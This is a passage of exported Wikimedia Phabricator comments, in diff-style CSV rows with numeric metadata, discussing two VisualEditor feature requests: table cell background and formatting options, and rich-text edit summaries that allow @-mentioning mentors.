+... in turn, setting `table class=""valign-td-top""` is all the user needs to add (either manually or by design in a VE table option) to accomplish top rendering of content.
+
+Worst case scenario is the user needs to [re]adjust the TH header row's vertical-alignment back to middle - far less work than applying inline styling to each TR or every TD as is the case now.",,,1454639052,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,135,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+467167,Be able to set table cell background (and other formatting options),">>! In T54180#971085, @Whatamidoing-WMF wrote:
+> I wonder if it could be a feature that is configurable per-wiki, or ideally per-namespace at each wiki.  Then you could get (for example) teaching materials at WIkiversity that use it, but keep it out of the article namespace at the English Wikipedia.  (It would still need to accept copied/pasted tables, and maybe have a 'remove this background color' button—which we need anyway, because of tables copied from other websites.)
+
+So should I understand your statment like we need community consensus for that?",,,1433206467,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,100,,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+411841,Be able to set table cell background (and other formatting options),So the option per wiki is the best choise I guess. Namespaces are not standardized yet on some wv projcects.,,,1424002582,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,84,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+398350,Be able to set table cell background (and other formatting options),"I wonder if it could be a feature that is configurable per-wiki, or ideally per-namespace at each wiki.  Then you could get (for example) teaching materials at WIkiversity that use it, but keep it out of the article namespace at the English Wikipedia.  (It would still need to accept copied/pasted tables, and maybe have a 'remove this background color' button—which we need anyway, because of tables copied from other websites.)",,,1421081161,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,80,,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+398096,Be able to set table cell background (and other formatting options),">>! In T54180#966351, @Jdforrester-WMF wrote:
+> There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.
+
+Probably strong case not to use it in Wikipedia, but what about Wikiversity. You may need to highlight cells just to be more atractive for the students or to be able to count someting better. I thing advanced MS Excell of Google Tabs already allow to search by table cell bg color.",,,1421024302,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,80,,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+397657,Be able to set table cell background (and other formatting options),"> The colour...distracts from the readability, accessibility and utility of the information being conveyed.
+
+Making it possible and even moderately easy to render this image in a table instead of in an image would IMO be a significant improvement in the readability, accessibility and utility of the information.  For example, someone with a screen reader could actually read it, and anyone could edit the contents.
+
+I'm not looking for fruit salad in encyclopedia articles, but when someone wants to create a table like this, I want them to think ""Oooh, I can do that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and every time someone needs to have a simple typo fixed, I'll repeat that process.""
+
+",,,1420843846,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+397656,Be able to set table cell background (and other formatting options),"> The colour...distracts from the readability, accessibility and utility of
+the information being conveyed.
+
+Making it possible and even moderately easy to render this image in a table
+instead of in an image would IMO be a significant improvement in the
+readability, accessibility and utility of the information.  For example,
+someone with a screen reader could actually read it, and anyone could edit
+the contents.
+
+I'm not looking for fruit salad in encyclopedia articles, but when someone
+wants to create a table like this, I want them to think ""Oooh, I can do
+that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it
+as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and
+every time someone needs to have a simple typo fixed, I'll repeat that
+process.""
+
+
+
+
+
+Whatamidoing (WMF)/Sherry Snyder
+Community Liaison
+Wikimedia Foundation, Inc.",,,1420843792,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+397496,Be able to set table cell background (and other formatting options),"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).
+
+I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable`, and `mw-collapsible`. (Though ideally through an intuitive interface, and not a free-form text field; which requires users to know internal software class names.)
+
+And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia.",,,1420833804,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+397495,Be able to set table cell background (and other formatting options),"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).
+
+I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable` and `mw-collapsible` (though ideally through an intuitive interface, and not a free-form text field (which requires users to know internal software class names).
+
+And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia.",,,1420833751,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+397457,Be able to set table cell background (and other formatting options),"There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.",,,1420829910,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,0,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+397451,Be able to set table cell background (and other formatting options),"In terms of the scope for this item:  I'd like (Howie) to be able to create this table in VisualEditor:  https://www.mediawiki.org/wiki/File:Product_stages_and_players.jpg
+
+I'm not entirely sure how to do it in wikitext, but that's what I want to be able to do.
+",,,1420829373,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+244014,Be able to set table cell background (and other formatting options),This issue of table cell paragraph formatting is now Bug 65416.,,,1400273034,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244006,Be able to set table cell background (and other formatting options),"(In reply to WhatamIdoing from comment #1)
+> ""Other formatting"" should include support for font size and line height, so
+> that tables like the ones seen at
+> https://en.wikipedia.org/w/index.php?oldid=608813235#Early_years will
+> display with the correct row height.
+
+No, that's a bug caused by VE assuming that table cells' paragraphs should be styled like other paragraphs. That's a fix to styling rules, nothing to do with editing them to have custom styles. Could you file a new bug?",,,1400270237,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,45,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+244000,Be able to set table cell background (and other formatting options),"""Other formatting"" should include support for font size and line height, so that tables like the ones seen at https://en.wikipedia.org/w/index.php?oldid=608813235#Early_years will display with the correct row height.",,,1400265859,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0
+54174,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"Links are frequently placed in edit summaries but the user is currently perversely required to revert to wikicode to insert them.  The VisEd menu should be available for the edit summary and the text should be displayed as it will be seen.  Wysiwyg should apply to all elements of the edit summary (eg, the recently added section title is displayed as code rather than the grey italics as it will be seen).
+
+=== Potential use cases/impacts/hypotheses 
+- **[potential impact]**: if people publishing edits write more expressive edit summaries, these edit summaries will be compelling/interesting to people whose primarily relationship to Wikipedia is as as a reader
+-- //See more in {T379405}
+- **[potential use case]**: enable people to relate edits to the events/campaigns that inspired them to make them (T373232)
+-- //Inspired @AlexHollender-WMF and @ifried...//
+- **[hypothesis]** If people have an easier time doing things like mentioning other people, inserting links, and formatting text within the edit summary input, they will invest more effort into writing edit summaries.
+- **[potential impact]** If people write more descriptive edit summaries, then machine learning models will become more effecting at learning from the actions volunteers are taking because these models will have to make fewer inferences/assumptions about the semantic meaning of a change/changes someone is making. //This thought is inspired by the conversation we (the Editing Team) had with @diego on 27 July 2022.//
+- **[potential impact]** If people write more descriptive edit summaries, then people visiting an article's ""page history""  will have an easier time: A) understanding how the article they are interested in evolved over time and B) identifying changes they are curious to learn more about
+-- this could also open up the potential for edits/diffs being presented as small, standalone pieces of information people could ""consume"" 
+
+=== Related
+- T123529
+- T323875
+- https://hashtags.wmcloud.org/",Lowest,10.0,1374996120,,PHID-USER-imut7wxehhy35ukuzaks,False,,False,PHID-TASK-imjhsazltcwrba7knjzi,task_description,open,True,c1,3,False,False,,3,,1,1,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+1522753,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,">>! In T54174#6178473, @MMiller_WMF wrote:
+> @ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.
+Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.
+
+> But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
+This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
+- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
+-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
+- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
+- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.
+
+I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 
+
+>It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
+Exactly (to both points).
+
+> But all this said, I think that if we're going to encourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
+I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)).
+
+Reason:
+- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)) to mean: [i]
+-- A) @USERNAME is going to get a notification
+-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 
+
+
+---
+i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //",,,1591841391,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,362,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+1522752,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,">>! In T54174#6178473, @MMiller_WMF wrote:
+> @ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.
+Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.
+
+> But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
+This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
+- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
+-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
+- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
+- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.
+
+I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 
+
+>It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
+Exactly (to both points).
+
+> But all this said, I think that if we're going to encourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
+I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)).
+
+Reasons:
+- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)) to mean: [i]
+-- A) @USERNAME is going to get a notification
+-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 
+
+
+---
+i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //",,,1591841123,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,362,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+1514485,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.
+
+{F31847417}
+
+Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.
+
+But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
+
+It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. `[[User:Cloud atlas]]`.  It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
+
+But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
+
+FYI @RHo ",,,1590799405,,PHID-USER-krko4robkho2pjor6klf,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,360,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+1514483,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]].  Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.
+
+But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
+
+It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. `[[User:Cloud atlas]]`.  It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
+
+But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
+
+FYI @RHo ",,,1590799352,,PHID-USER-krko4robkho2pjor6klf,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,360,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+1513615,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 
+
+I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.
+
+---
+=== Context
+**Use case: newcomer seeking review from mentor**
+1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
+2. Newcomer makes an edit per mentor's instructions
+3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
+4. Newcomer types their edit summary and @-mentions their mentor in said summary
+
+**😀 Benefits**
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Newcomer avoids their edit being reverted by someone else 
+- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.
+
+**😬 Risks**
+- Easier to notify people = more noise
+- People writing edit summaries could begin to tailor their summaries to individuals rather than ""other editors as a whole"" leading them to become more difficult to understand.
+
+---
+
+i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18
+
+---
+@MMiller_WMF cc'ing you for your awareness.",,,1590711675,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1
+1513583,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 
+
+I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.
+
+---
+=== Context
+**Use case: newcomer seeking review from mentor**
+1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
+2. Newcomer makes an edit per mentor's instructions
+3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
+4. Newcomer types their edit summary and @-mentions their mentor in said summary
+
+**😀 Benefits**
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Newcomer avoids their edit being reverted by someone else 
+- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.
+
+**😬 Risks**
+- Easier to notify people = more noise
+- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.
+
+---
+
+i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18
+
+---
+@MMiller_WMF cc'ing you for your awareness.",,,1590708629,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1
+1513582,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 
+
+I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.
+
+---
+=== Context
+**Use case: newcomer seeking review from mentor**
+1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
+2. Newcomer makes an edit per mentor's instructions
+3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
+4. Newcomer types their edit summary and @-mentions their mentor in said summary
+
+**😀 Benefits**
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Newcomer avoids their edit being reverted by someone else 
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.
+
+**😬 Risks**
+- Easier to notify people = more noise
+- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.
+
+---
+
+i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18
+
+---
+@MMiller_WMF cc'ing you for your awareness.",,,1590708577,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1
+1513579,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 
+
+I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.
+
+---
+=== Context
+**Use case: newcomer seeking review from mentor**
+1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
+2. Newcomer makes an edit per mentor's instructions
+3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
+4. Newcomer types their edit summary and @-mentions their mentor in said summary
+
+**😀 Benefits**
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Newcomer avoids their edit being reverted by someone else 
+- Mentor gets a notification linking them to the precise edit they are being asked to review
+- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.
+
+---
+
+i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18
+
+---
